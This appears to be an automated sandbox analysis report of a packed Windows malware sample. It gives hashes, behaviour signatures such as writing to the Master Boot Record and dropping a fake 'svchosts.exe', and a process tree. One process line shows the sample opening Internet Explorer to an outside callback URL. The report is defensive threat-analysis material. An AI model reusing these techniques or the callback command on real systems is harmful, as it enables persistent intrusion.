Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/10/2024, 01:48

General

  • Target

    d3b12c1d1dfa2df176c207781470303a234174fcb350cefa8ca11887d91f7a80.exe

  • Size

    88KB

  • MD5

    43c6fd6fc51136632b47a8672de41034

  • SHA1

    a22897d94f9d1ef123cbb1e372a619113327c214

  • SHA256

    d3b12c1d1dfa2df176c207781470303a234174fcb350cefa8ca11887d91f7a80

  • SHA512

    f64b041b5a6afb4412496b526be0059814e4aac587764b36aa5b553ebe9d92533a162f484adc4b705853d65f59f262a91ad8888b84f6c1b7ac1099725fdd4e6a

  • SSDEEP

    1536:dXNXdlRH+Dwk4cSGesvhC8plnQ85+HwClgfTQqPTFTCtOQ8CcfiWX:ddtlRH+UxGzh3HQ85+QqoTBfi6

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • VMProtect packed file 6 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in Windows directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d3b12c1d1dfa2df176c207781470303a234174fcb350cefa8ca11887d91f7a80.exe
    "C:\Users\Admin\AppData\Local\Temp\d3b12c1d1dfa2df176c207781470303a234174fcb350cefa8ca11887d91f7a80.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\windows\svchosts.exe
      C:\windows\svchosts.exe auto
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2544
    • C:\progra~1\Intern~1\iexplore.exe
      C:\\progra~1\\Intern~1\\iexplore.exe http://jianqiangzhe1.com/AddSetup.asp?id=137&localID=232138804165&isqq=3
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2032
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2032 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:4076

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\TRPPE7V2\suggestions[1].en-US

          Filesize

          17KB

          MD5

          5a34cb996293fde2cb7a4ac89587393a

          SHA1

          3c96c993500690d1a77873cd62bc639b3a10653f

          SHA256

          c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

          SHA512

          e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

        • C:\Windows\svchosts.exe

          Filesize

          88KB

          MD5

          43c6fd6fc51136632b47a8672de41034

          SHA1

          a22897d94f9d1ef123cbb1e372a619113327c214

          SHA256

          d3b12c1d1dfa2df176c207781470303a234174fcb350cefa8ca11887d91f7a80

          SHA512

          f64b041b5a6afb4412496b526be0059814e4aac587764b36aa5b553ebe9d92533a162f484adc4b705853d65f59f262a91ad8888b84f6c1b7ac1099725fdd4e6a

        • memory/2032-44-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-34-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-18-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-17-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-16-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-20-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-23-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-22-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-30-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-38-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-39-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-33-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-42-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-43-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-41-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-40-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-45-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-51-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-52-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-53-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-50-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-46-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-15-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-13-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-36-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-31-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-54-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-59-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-29-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-28-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-26-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-24-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-21-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-19-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-64-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-61-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-66-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-63-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-62-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-60-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-74-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-79-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2032-12-0x00007FFCD74F0000-0x00007FFCD755E000-memory.dmp

          Filesize

          440KB

        • memory/2544-94-0x0000000000400000-0x0000000000431000-memory.dmp

          Filesize

          196KB

        • memory/2544-9-0x0000000000400000-0x0000000000431000-memory.dmp

          Filesize

          196KB

        • memory/3408-0-0x0000000000400000-0x0000000000431000-memory.dmp

          Filesize

          196KB

        • memory/3408-1-0x0000000000400000-0x0000000000431000-memory.dmp

          Filesize

          196KB

        • memory/3408-67-0x0000000000400000-0x0000000000431000-memory.dmp

          Filesize

          196KB